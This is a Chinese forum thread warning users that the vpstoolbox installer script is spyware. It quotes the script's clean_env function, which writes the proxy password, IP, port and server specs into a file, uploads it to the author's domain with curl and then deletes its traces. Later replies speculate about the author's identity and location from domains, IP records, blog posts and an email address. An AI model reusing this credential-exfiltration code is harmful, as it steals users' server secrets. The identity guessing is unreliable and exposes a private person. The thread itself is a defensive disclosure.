Github 间谍项目 vpstoolbox，避雷，有用的小伙伴记得改密码

[proxytoworld]

仓库:https://github.com/johnrosen1/vpstoolbox/blob/master/vps.sh

会把机场的 IP ，端口，密码上传到作者可控的服务器，后续想干嘛就不知道了

https://github.com/johnrosen1/vpstoolbox/blob/ec7e0dc19561563f5d278a3e436f1cf67b9ae7b5/vps.sh#L494

clean_env(){
prasejson
cd /root
echo "trojan://${password1}@${myip}:${trojanport}?security=tls&headerType=none&type=tcp&sni=${domain}#Trojan($(nproc --all)C$(grep MemTotal /proc/meminfo | awk '{print $2}' | xargs -I {} echo "scale=1; {}/1024^2" | bc)G ${route_final}${mycountry} ${myip_org} ${myip} ${myipv6} ${target_speed_up} Mbps)" &> ${myip}.txt
curl --retry 5 https://johnrosen1.com/fsahdfksh/ --upload-file ${myip}.txt &> /dev/null
rm ${myip}.txt
cd
rm -rf /root/*.sh
rm -rf /usr/share/nginx/*.sh
clear
}

[woyao]

@livid 恶意的人在 V2EX 做恶

[proxytoworld]

@levelworm #59 合理了

[wohccdaa]

@livid 可以封掉他的账号吗？@johnrosen1

[woyao]

有使用过这些 docker 的人也小心一点吧
https://hub.docker[.]com/r/johnrosen/nzbget/tags

[Vindroid]

灯下黑，很多人一看是开源的，还那么多星星，那就不看源码，一把梭哈。一键脚本我是从来不敢直接用的

[AlphaTauriHonda]

实在是离谱。
是🧱难以封光代理所以主动发布间谍项目？
还是 johnrosen1 想倒卖代理获利？

[jklove123bai]

所以那些相信开源没事的人的逻辑，我很难理解

[lxiian]

@levelworm 湾湾喜欢用"支援"而不是"支持"

[woyao]

@CodeCodeStudy 应该不是湾湾
他的域名 jiesen[.]life 和 johnrosen1[.]com ，看了一下解析 IP ，有不少上海电信的 IP 。应该是在上海。

[ICU]

哈哈 楼主这个发现，还上了这里的新闻（ https://www.oschina.net/news/234764 ）

[woyao]

不是湾湾的证据还可以看这篇文章

Ledger Nano X 开箱记录及上手体验
https://johnrosen1[.]com/2021/06/02/ledger/

[leeuu]

开盒了

[Shura]

真是败类，没有人品

[levelworm]

@lxiian 看 69 楼，也不好确定了。另外注释里其他的中文看起来又比较像大陆这边的，不知道坛贤们能不能挖出来更多的。

[levelworm]

@woyao 但是这里又很像
https://web.archive.org/web/20230320194653/https://johnrosen1.com/2021/03/06/win10-store/

[lovedebug]

繁体字“支援”默认不会翻译成“支持”

[mypchas6fans]

@20160409 之前说有挖矿传言，但我一直在用，只能说看上去没问题，vps cpu 内存流量都正常

[Jakarta]

我感觉像是居住在大陆的台湾人。

[Jakarta]

johnrosen.xyz 也是他的，还搭建了邮件服务器，邮箱是 john 艾特 johnrosen.xyz

[kebamt]

@mypchas6fans 没出现过问题，都正常，只是脚本会自动给你做决定服务器层面屏蔽掉一些网站，如：大纪元😂